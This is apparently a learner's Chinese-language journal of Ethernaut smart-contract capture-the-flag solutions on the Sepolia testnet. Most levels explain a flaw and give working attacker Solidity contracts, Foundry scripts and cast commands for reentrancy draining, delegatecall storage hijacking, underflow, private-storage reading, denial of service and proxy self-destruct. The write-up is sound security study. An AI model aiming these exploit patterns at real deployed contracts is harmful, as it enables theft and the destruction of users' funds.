timezone |
---|
Asia/Shanghai |
- 自我介绍 接触 web3 挺长时间了,一直浅尝则止,希望借这个机会深入学习下。
- 你认为你会完成本次残酷学习吗? 没问题
The Ethernaut level 1- 获取合约拥有权,并提取余额 只需要先调用 contribute 方法存入一笔资金,再转账任意数量 ether 带合约就可以获得 ownership,进而提取全部余额。 重新温习了 Foundry,写了个合约去调用。但是一直报错,还得再改改。
调试了好久,终于成功了。
在 sepolia 重新部署了一个 level01 的 Fallback
合约。
写了一个攻击合约去实现所有功能,攻击合约在这里。
具体实现逻辑:
- 先给攻击合约一定数量的 ether,用于调用
Fallback
合约时发送 ether - 调用
attack
方法,该方法调用Fallback
合约的contribute
方法,存入一笔资金。再直接发送 1 wei 给Fallback
合约,从而获取owner
权限。 - 最后再调用
Fallback
合约的withdraw
方法(此时已经具有owner
权限),成功提取所有资金
这道题的构造函数是 Fal1out
,合约名叫 Fallout
。不仔细检查,完全看不出来区别。
本题想考的知识点应该是:在 Solidity 0.4.22 之前,可以使用与合约同名的函数作为构造函数。从 Solidity 0.4.22 开始,应使用 constructor
关键字。
因此,破解这题没什么难度。“构造”函数并没有被执行,合约部署后 owner
没有被赋值,为默认值 0x
。只要调用 Fal1out
函数即可获得 owner
权限。
下面是使用 Foundry 的 cast 命令去调用智能合约:
(新部署的 Fallout
合约,地址)
合约部署后调用合约的 owner
方法,返回 0x0000000000000000000000000000000000000000
。
cast call \
0x6c178efb9F79C13f88618F82Dee359025F3C8F71 "owner()(address)" \
--rpc-url sepolia
调用 Fal1out
函数,获取 owner
权限。交易哈希
cast send \
0x6c178efb9F79C13f88618F82Dee359025F3C8F71 "Fal1out()()" \
--value 10000000000 \
--rpc-url sepolia \
--private-key <private key>
再次调用上面的 owner
方法,返回发送者地址 0x3EBA4347974cF00b7ba130797e5DbfAB33D8Ef4b
。
这个挑战要求在一次投币游戏中通过猜测投币的结果连续正确10次。
为了在连续猜对10次,必须预测 blockValue
,并在调用 flip
函数时提供正确的 _guess
参数。
基于以上的分析,可以设计如下步骤来连续正确猜测10次:
- 部署一个新的合约(
Attacker
),该合约能够计算并预测CoinFlip
合约的投币结果。 - 使用该合约调用
CoinFlip
合约的flip
函数,这样每次都能提供正确的_guess
参数。 - 重复调用多次
示例合约在这里
链上记录:
- level(
CoinFlip
) 新实例:https://sepolia.etherscan.io/address/0x7ECf6bB565c69ccfac8F5d4b3D785AB78a00F677 - attacker 合约:https://sepolia.etherscan.io/address/0xdce3c80980837bfb66524bc0ccf3d2f5db5ae8ff
Ethernaut的第4关要求获得合约的owner权限。
要获得owner权限,需要调用 changeOwner
方法,但条件是 tx.origin != msg.sender
。
这个条件可以通过使用一个中间合约来绕过,通过中间合约去调用目标合约来实现。此时
tx.origin
= 发送交易者msg.sender
= 中间合约地址
示例合约在这里
链上记录:
- level(
Telephone
) 新实例:0x231014b0FEf1C0AF96189700a43221fACF1DfF7E - attacker 合约:https://sepolia.etherscan.io/address/0xa380337b31833736daa3a044a41e5fb821d15128
- 可以使用
cast call
命令来调用目标合约的owner
函数来获取owner
地址。:cast call 0x231014b0FEf1C0AF96189700a43221fACF1DfF7E "owner()(address)" --rpc-url sepolia
这一关要求获得更多的token。
合约看起来没什么问题,但是 solidity 版本用的是是 0.6,没有处理整型的下溢/溢出。
因此,只需要发送大于 20 的值,比如 21,就可以获得 21 个token
直接使用 Foundry 的命令:
查询余额:
cast call <level address> \
"balanceOf(address)(uint256)" <receiver> \
--rpc-url sepolia
转账(获取更多token)
cast send <level address> \
"transfer(address,uint256)(bool)" <receiver> 21 \
--rpc-url sepolia \
--private-key <deployer private key>
链上记录:
- level(
Token
) 新实例 - receiver: 0x5859FdBE15be13b4413F0E5F96Ce27364F6E21C8
这一关要求获得 Delegation
合约的 owner
权限
要获取 Delegation
合约中的 owner
权限,关键在于利用 Delegation
合约的 fallback
函数和 delegatecall
的特性。delegatecall
会在调用合约的上下文中执行被调用的代码,这意味着它会使用调用合约的存储。
步骤如下:
-
计算
Delegate
合约中pwn()
函数的函数选择器pwn()
函数的选择器是其函数签名的keccak256
哈希的前 4 个字节。 -
向
Delegation
合约发送一个调用,其中:msg.data
应该是pwn()
函数的选择器。可以使用任何数量的 ETH。
-
这将触发
Delegation
合约的fallback
函数,进而使用delegatecall
调用Delegate
合约的pwn()
函数。 -
由于使用了
delegatecall
,pwn()
函数将在Delegation
合约的上下文中执行,从而将调用者的地址设置为Delegation
合约的owner。
使用 Foundry cast 命令可以更简单:
调用 Delegation
合约 pwn()
函数
cast send <level address> \
"pwn()()" \
--rpc-url sepolia \
--private-key <your private key>
查询当前 owner
cast call <level address> \
"owner()(address)" \
--rpc-url sepolia
链上记录:
- level(
Delegation
) 新实例:0xA54C5bFcdd15Cb9D38485741C5b304a20E269eB5 - 获取权限的交易的哈希: 0xa74c34ac10570535f2faa6b86677a3a2c5799783fac5bfe874c3cbbf9d27c3b2
这一关的要求是增加 Forece
合约的 ether 余额
Force
合约没有任何函数,要想向该合约发送 ether,普通转账是不行的。需要使用一些特殊的方法。以下是几种可能的方式:
- 自毁方法(
selfdestruct
):这是最常见的强制发送以太币到一个没有接收函数的合约的方法。 - 预部署合约:使用
CREATE2
操作码预先计算出合约的地址,并在合约部署之前向该地址发送 ether。
由于合约不是自己部署,因此采用第一种方式。
示例代码:
contract Attacker {
constructor() {}
function attack(address receiver) public payable {
selfdestruct(payable(receiver));
}
receive() external payable {}
}
完整代码见:Attacker
使用Foundry:
调用脚本部署 Attacker
合约并且发动 attack
:
forge script script/level07/Attacker.s.sol:CallContractScript --rpc-url sepolia --broadcast
查询 ether 余额
cast balance 0xd2E4Ba00684F3d61D585ca344ec566e03FA06F47 --rpc-url sepolia
链上记录:
这一关的要求是反转 Vault
的 locked
状态
Vault
合约提供了 unlock
函数,只需要提供对应的密码。虽然在合约中密码字段设置为 private
,无法通过公开的方法访问。但是区块链上的状态变量是公开的,可以通过读取合约的存储插槽读区的值。
Vault
合约中 password
状态变量占用插槽1,可以通过 foundry 读取该插槽的值。
示例代码:
Vault level = Vault(0x2a27021Aa2ccE6467cDc894E6394152fA8867fB4);
bytes32 password = vm.load(address(level), bytes32(uint256(1)));
level.unlock(password);
完整代码见:这里
Foundry 脚本:
调用脚本去读区对应插槽的值:
forge script script/level08.s.sol:CallContractScript --rpc-url sepolia --broadcast
查询 locked 状态
cast call 0x2a27021Aa2ccE6467cDc894E6394152fA8867fB4 \
"locked()(bool)" \
--rpc-url sepolia
链上记录:
The Ethernaut level 9
这一关的要求是结束这个庞氏游戏。
仔细阅读这个合约,发现,只要发送 ether 数量比当前 prize
值大,就可以成为新的 king
。同时, owner
有权限直接让游戏从零开始。
注意到 receive
函数中使用了 transfer
,而且没有判断改方法执行是否成功。因此,可以从这里下手。只要 tansfer
失败了,函数回退,任何人都无法再继续这个游戏。
令 reansfer
失败最简单的方式就是写一个不接收 ether 的函数(没有 fallback
或 receive
),让这和合约成为新的 king
就行了。
步骤如下:
- 部署一个不接收 ether 的合约
- 令这个合约成为新的
king
实例代码如下:
contract Attacker {
address targetAddr;
bool locked;
constructor(address targetAddr_) {
targetAddr = targetAddr_;
}
function attack(uint value) public payable {
(bool success, ) = targetAddr.call{value: value}("");
require(success, "claim kingship failed");
}
receive() external payable {
require(!locked, "Never send a wei");
locked = true;
}
}
还需要一个脚本去部署 Attacker
合约并发送大于当前 prize
的 ether 数量成为 king
address levelAddr = 0xDB22a38C8d51dc8CF7bfBbffAb8f618cFE148a04;
Attacker attacker = new Attacker(levelAddr);
King target = King(payable(levelAddr));
// 计算需要给攻击合约至少发送多少 ether
uint minValue = target.prize() + 1;
(bool success, ) = address(attacker).call{value: minValue}("");
require(success, "Failed to send Ether to the attacker contract");
// 攻击合约发动攻击
attacker.attack(minValue);
完整代码见:这里
Foundry 脚本:
调用脚本部署并发动攻击:
forge script script/level09.s.sol:CallContractScript --rpc-url sepolia --broadcast
查询当前 king
cast call <level address> \
"_king()(address)" \
--rpc-url sepolia
查询当前 prize
cast call <level address> \
"prize()(uint256)" \
--rpc-url sepolia
尝试获取king
cast send <level address> \
--value <value greate than prize> \
--rpc-url sepolia \
--private-key <your private key>
链上记录:
这一关的要求是获取合约里所有的资金。
仔细阅读这个合约,发现,这是个典型的重入攻击案例。
问题出在 withdraw
方法,在更新余额之前调用了 msg.sender.call{value: _amount}("")
。这意味着在调用者收到以太币后,调用者仍然有能力再次调用 withdraw
函数(即发生重入),在余额尚未更新之前再进行一次提取。通过这种方式,攻击者可以反复进行 withdraw
操作,把整个合约的余额全部提走。
采用 Checks-Effects-Interactions
模式可以修复这个重入的问题。
攻击合约步骤如下:
- 捐赠一定数量 ether 给目标合约
- 编写
receive
函数,接收到 ether 时向目标合约发起withdraw
- 准备就绪后,发起
withdraw
示例代码如下:
contract Attacker {
Reentrance target;
constructor(address targetAddr) public {
target = Reentrance(payable(targetAddr));
}
function attack(uint amount) public {
target.donate{value: amount}(address(this));
target.withdraw(amount);
}
receive() external payable {
if (address(target).balance >= msg.value) {
target.withdraw(msg.value);
}
}
}
还需要一个脚本去部署 Attacker
合约并发起攻击
address levelAddr = 0x5506958fC2AB6709357d9cB7F813cfb3a387b5B7;
Attacker attacker = new Attacker(levelAddr);
uint amount = 0.001 ether; // level 合约当前balance
(bool success, ) = address(attacker).call{value: amount}(""); // 先发送 ether 给 attacker
require(success, "fund attacker failed");
attacker.attack(amount);
完整代码见:这里
Foundry 脚本:
调用脚本部署并发动攻击:
forge script script/level10.s.sol:CallContractScript --rpc-url sepolia --broadcast
查询当前地址余额
cast balance <address> --rpc-url sepolia
链上记录:
这一关的要求是让电梯合约达到顶楼。
仔细阅读这个合约,发现 Building 合约并没有任何实现细节。而且 Elevator 合约里实例化 Building 时使用了 msg.send 作为地址。
因此,我们可以编写一个实现了 Building 接口的合约实现关键的 isLastFloor
方法。再通过这个合约去调用 Elevator
合约的 goTo
方法。这样就可以通过控制 Building
合约的返回值,进而达到目的。
攻击合约步骤如下:
- 编写一个实现了 Building 接口的合约
- 实现
isLastFloor
方法,第一次调用时返回false,之后调用返回
true
- 编写
attack
函数调用 Elevator 的goTo(floor)
方法; - 调用
attack
函数发起攻击
示例代码如下:
contract Attacker is Building {
Elevator elevator;
bool hasCalled;
constructor(address elevator_) {
elevator = Elevator(elevator_);
}
function isLastFloor(uint256 _floor) public returns (bool) {
if (hasCalled) return true;
hasCalled = true;
return false;
}
function attack(uint floor) public {
elevator.goTo(floor);
}
}
还需要一个脚本去部署 Attacker
合约并发起攻击
address levelAddr = 0x5B0424701F6f9a8e27CF76DAfC918A5E558f0Dc5;
Attacker attacker = new Attacker(levelAddr);
attacker.attack(100);
完整代码见:这里
Foundry 脚本:
调用脚本部署并发动攻击:
forge script script/level11.s.sol:CallContractScript --rpc-url sepolia --broadcast
查询是否到达顶层
cast call 0x5B0424701F6f9a8e27CF76DAfC918A5E558f0Dc5 \
"top()(bool)" \
--rpc-url sepolia
链上记录:
这一关的要求是解锁 Privacy
合约。
仔细阅读这个合约,解锁 Privacy
合约的方式是调用 unlock
方法并输入正确的 _key
。_key
值从合约的存储值 data
而来。因此,该挑战其实考的是合约的存储布局。
Privacy
合约中变量的存储布局:
bool public locked
存储在槽0
。uint256 public ID
存储在槽1
。uint8 private flattening
、uint8 private denomination
和uint16 private awkwardness
会紧凑地存储在槽2
(因为它们总共占 32 位)。bytes32[3] private data
是一个静态大小的数组,所以它会在存储槽3
开始连续存储,其每个元素占用一个存储槽(即槽3
、槽4
、槽5
)
因此,可以通过 Foundry 的作弊码读取存储槽 5
的值,就可以顺利解锁 Privacy
合约。
示例代码如下:
contract Attacker is Building {
Privacy level;
constructor(address level_) {
level = Privacy(level_);
}
function attack(bytes16 _key) public {
level.unlock(_key);
}
}
还需要一个脚本去部署 Attacker
合约并发起攻击,其中读取合约存储槽 5
的值
address levelAddr = 0x477C9b8Afa15DcF950fbAeEd391170C0eb0534C3;
Attacker attacker = new Attacker(levelAddr);
uint256 levelDataSlotStartIdx = 3;
bytes32 dataInPos2 = vm.load(
levelAddr,
bytes32(levelDataSlotStartIdx + 2)
);
bytes16 _key = bytes16(dataInPos2);
attacker.attack(_key);
完整代码见:这里
Foundry 脚本:
调用脚本部署并发动攻击:
forge script script/level12.s.sol:CallContractScript --rpc-url sepolia --broadcast
查询是否已解锁
cast call 0x477C9b8Afa15DcF950fbAeEd391170C0eb0534C3 \
"locked()(bool)" \
--rpc-url sepolia
链上记录:
这一关的要求是通过三个守门员。
- gateOne:msg.sender 和 tx.origin 不想等,这个很容易实现:通过部署一个中间合约去调用。
- gateTwo:要求剩余 gas 为 8191 的整数倍,这个得暴力破解
- gateThres:设计多个转换转换
ps:脚本还在测试中
这一关的要求是绕过时间限制提取所有代币
仔细阅读合约发现,该合约实现了 ERC20 标准,并尝试防止初始代币持有者在给定的时间锁(timeLock
)之前转移代币。合约在 transfer
函数添加了 lockTokens
修饰器,通过 msg.sender == player
限制了初始代币持有者提取时间。
但是,ERC20 合约不只一个转账函数。通过 arrprove
和 transferFrom
,可以授权他人动用自己的币。
因此,只要初始代币持有者委托给第三者进行转账即可提取所有代币。
攻击脚本:
...
address player = vm.addr(privateKey);
address spender = vm.addr(privateKeySpender);
address levelAddr = 0x69f52ffB405AB5DaaEbDb1111C4F5ec64DaF37C8;
NaughtCoin level = NaughtCoin(levelAddr);
// 初始化 player
vm.startBroadcast(privateKey);
level.approve(spender, level.balanceOf(player));
vm.stopBroadcast();
// 初始化 spender
vm.startBroadcast(privateKeySpender);
level.transferFrom(player, spender, level.balanceOf(player));
vm.stopBroadcast();
完整代码见:这里
链上记录:
这一关的目的是解锁获取 Preservation 合约的所有权。
仔细阅读这个合约,发现 Preservation
使用了 delegatecall
。这就很容易发生存储冲突的问题。果不其然,LibraryContract
的 setTime
函数修改 storedTime
变量。该变量在 LibraryContract
合约是在 slot0
。但是由于是 delegatecall
,真正被修改的是 调用者,即 Preservation 合约的 slot0
。·
要想成为 owner,可以利用这个漏洞,调用 setFirstTime
时 把 timeZone1Library
改为攻击者合约。再次调用 setFirstTime
时,使用的是攻击者合约的逻辑。可以在攻击者合约部署和 Preservation
一样的存储,进而修改 owner
攻击者合约:
contract Attacker {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint256 time) public {
owner = address(uint160(time));
}
}
攻击脚本:
...
address levelAddr = 0x20FD051bF1d72a491674d9259dc7a155160bdF9d;
Preservation level = Preservation(levelAddr);
Attacker attacker = new Attacker();
// 第一次调用把 timeZone1Library1 改为攻击者地址
level.setFirstTime(uint256(uint160(address(attacker))));
// 第二次调用其实是 delegatecall attacker 的 setTime 函数把 owner 设置为 sender
level.setFirstTime(uint256(uint160(address(sender))));
完整代码见:这里
执行脚本:
forge script script/Level16.s.sol:CallContractScript --rpc-url sepolia --broadcast
链上记录:
这一关的目的是取回第一个 SimpleToken
合约里的 ether,该合约提供了自毁方式可以提取属于资金。然而,该合约地址忘记了。
(吐槽下,合约地址忘记了的话查看区块链浏览器就可以找回了呀)
仔细阅读合约,SimpleToken
合约由 Recovery
合约使用 create
操作码创建。要找回创建的合约地址的话,只需 create
中的两个关键参数:sender
和 nonce
。前面提到了,是要找回第一个合约的地址,即第一笔交易,因此 nonce = 1
。sender
自然是 Recovery
合约的地址。有了这两个关键参数后,合约地址就可以计算出来了。
攻击者合约:
contract Attacker {
Recovery level;
constructor(address level_) {
level = Recovery(level_);
}
function attack() public {
address payable lostContract = payable(address(
uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(level), bytes1(0x01)))))
));
SimpleToken(lostContract).destroy(payable(msg.sender));
}
}
执行脚本:
forge script script/Level17.s.sol:CallContractScript --rpc-url sepolia --broadcast
完整代码见:这里
链上记录:
这一关的目的是以低于要求的价格从商店购买物品。合约中也没有实际支付,只是概念上的支出。
仔细阅读合约,Shop
合约定义了一个 Buyer
接口,但没有具体的实现。在 buy
函数中依赖了一个 Buyer
实例,且这个实例还是由 msg.sender
初始化的,即 shop
合约要求使用一个 Buyer
合约去购买(buy
),因此可以从这里做文章。
只要自己部署一个实现 Buyer
接口的合约,price()
根据不同状态返回不同的值。比如,当商品已售卖,返回1;商品未售卖,返回100(>=100)。
攻击者合约:
contract Attacker is Buyer {
Shop level;
constructor(address level_) {
level = Shop(level_);
}
function price() external view returns (uint256) {
return level.isSold() ? 1 : 100;
}
function attack() external {
level.buy();
}
}
执行脚本:
forge script script/Level21.s.sol:CallContractScript --rpc-url sepolia --broadcast
完整代码见:这里
查询购买后的 price
:(返回 1)
cast call 0x217464Bcc60Ae344273201a91E6568486c3a07EA \
"price()(uint256)" \
--rpc-url sepolia
链上记录:
这个挑战要求提供一个 Solver
合约,合约有一个方法 whatIsTheMeaningOfLife()
,返回一个32字节数字。另外,要求 Solver
合约的代码需要非常小,最多不超过 10 字节。
按正常逻辑编写一个一个 Solver
合约很简单,但是字节码会超过 10 字节。可以借用 fallback 函数,不管调用哪个方法都返回42(0x2a)。然后通过最小代理合约的方式来部署合约运行字节码。
Solver
合约运行字节码 0x602A60005260206000F3
:
[00] PUSH1 2a
[02] PUSH1 00
[04] MSTORE
[05] PUSH1 20
[07] PUSH1 00
[09] RETURN
最终,RETURN 操作返回长度为 32 字节的数据,从内存地址 0x00
开始。这些数据包括前面的 0x2a
和接下来的零填充数据。
攻击者合约:
contract Attacker {
MagicNum level;
constructor(address level_) {
level = MagicNum(level_);
}
function attack() public {
address solverInstance;
assembly {
let ptr := mload(0x40)
mstore(ptr, shl(0x68, 0x69602A60005260206000F3600052600A6016F3))
solverInstance := create(0, ptr, 0x13)
}
level.setSolver(solverInstance);
}
}
执行脚本:
forge script script/Level18.s.sol:CallContractScript --rpc-url sepolia --broadcast
完整代码见:这里
链上记录:
这一关的目的是成为的 AlienCodex
合约的 owner。
仔细阅读合约,AlienCodex
合约并没有提供更改 owner
相关的函数。但是继承了 Ownable
合约,该合约有一个 address private _owner
状态变量。AlienCodex
合约表面上只提供了修改 codex
动态数组的功能。但是,该 solidity 是 ^5.0.0,没有提供溢出保护。因此,可以从这里入手,通过计算指定存储槽的值,修改 codex
数组的值,进而覆盖 owner
变量所在槽的值。
合约存储布局如下:
x = keccak256(1)
slot | value |
---|---|
slot(0) | owner(20) contact(1) |
slot(1) | codex 的长度 |
... | ... |
... | ... |
slot(x) | codex[0] |
slot(x+1) | codex[1] |
... | ... |
slot(0) | codex[0-x] |
攻击者合约:
contract Attacker {
IAlienCodex level;
constructor(address level_) {
level = IAlienCodex(level_);
}
function attack() public {
level.makeContact();
level.retract();
uint256 slotCodex = uint(keccak256(abi.encode(1)));
uint256 slotTarget;
unchecked {
slotTarget = 0 - slotCodex;
}
bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));
level.revise(slotTarget, myAddress);
}
}
执行脚本:
forge script script/level19.s.sol:CallContractScript --rpc-url sepolia --broadcast
完整代码见:这里
链上记录:
这一关的目的阻止 owner
从 Denial
合约中提取(withdraw
)资金 。
仔细阅读合约,Denial
合约,任何人都可以调用 withdraw
方法提取资金。每次提取时各自转账 1% 的资金 partner
和 owner
。
转账首先使用 call
向 partner
转账,没有检查返回值!(这里很关键)。然后 使用 transfer
向 owner
转账。
要想拒绝 owner
提取资金,只需要在向 partner
转账时搞点破坏就可以了,比如 partner
合约里 receive
函数内部的无限循环,交易最终将耗尽 gas 回退。
攻击者合约:
contract Attacker {
uint256 counter = 0;
constructor() {}
receive() external payable {
for (uint256 i = 0; i < 2 ** 256 - 1; i++) {
counter += 1;
}
}
}
执行脚本:
forge script script/Level20.s.sol:CallContractScript --rpc-url sepolia --broadcast
完整代码见:这里
链上记录:
这一关的目的是把 Dex 中其中一个代币的余额全部提取出来。
仔细阅读合约,该合约实现了去中心化交易所的基本功能。只不过只能用来兑换固定的两种 token:token1 和 token2。而且其价格是通过 token 的余额来计算,这里可以加以利用。 合约中通过 balance(token1)/balance(token2) 来计算价格,但是忽略了 solidity 中除法是整数,比如 5/2=2。 当 token1 余额小于 token2 余额时,商变为 0。,即价格为 0。可以通过多集 swap,改变其中一种 token 的余额。
脚本还在测试中...
这一关的目的是把 DexTwo 中 token1 和 token2 的余额都提取出来。
仔细阅读合约,该合约是前一关卡 Dex 的微调版本。swap
函数去掉了 require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
限制。这意味可以使用一个任意的 from 代币,从合约中中获得真正的"to"代币。
脚本还在测试中...
这一关的目的是对实现 Engine
合约调用 selfdestruct()
,使 Engine
合约无法使用。
仔细阅读合约,这是一个使用 UUPS
的模式的代理合约。Motorbike
是代理合约,而 Engine
是实现合约。
Engine
合约代码中没有定义 selfdestruct()
。那么将如何调用它呢?可以尝试升级实现合约,使其指向自己部署的攻击者合约。
为了升级逻辑,我们需要确保我们是 upgrader
。
这里需要注意的是,在这个实现中,initialize()
函数应该由代理合约调用。但它是通过 delegatecall()
来实现的。这意味着是在代理合约的上下文中进行的,而不是在实现中。
在实现合约的上下文中,这尚未被调用。因此,如果直接调用这个函数,调用者(攻击合约)将成为升级者。
一旦我们成为了upgrader,我们可以直接调用 upgradeToAndCall()
,并把实现合约更改为自己部署的带有 selfdestruct
的攻击合约
攻击者合约:
contract Attacker {
Motorbike motorbike;
Engine engine;
Destructive destructive;
constructor(address motorbikeAddr, address engineAddr) public {
motorbike = Motorbike(payable(motorbikeAddr));
engine = Engine(engineAddr);
destructive = new Destructive();
}
function attack() external {
engine.initialize();
bytes memory encodedData = abi.encodeWithSignature("killed()");
engine.upgradeToAndCall(address(destructive), encodedData);
}
}
执行脚本:
forge script script/Level25.s.sol:CallContractScript --rpc-url sepolia --broadcast
完整代码见:这里
链上记录:
这一关的目的取出 GoodSamaritan
所有余额。
这一关比较简单,只需要攻击合约实现 INotifyable
接口,在 notify
回调函数中抛出 NotEnoughBalance()
错误即可骗过 Wallet
合约,使其认为余额不足,进而发送所有“剩余”余额。
攻击者合约:
contract Attacker is INotifyable {
GoodSamaritan level;
error NotEnoughBalance();
constructor(address level_) public {
level = GoodSamaritan(level_);
}
function attack() external {
level.requestDonation();
}
function notify(uint256 amount) external {
if (amount <= 10) revert NotEnoughBalance();
}
}
执行脚本:
forge script script/Level27.s.sol:CallContractScript --rpc-url sepolia --broadcast
完整代码见:这里
查询攻击合约余额,返回 1000000([1e6])
cast call \
0xE58b63c367997C933557B4404e77F9A911A25bcF \
"balances(address)(uint256)" 0x89111a221475E3D0A5e48Cc501630637993Acce0 \
--rpc-url sepolia
链上记录: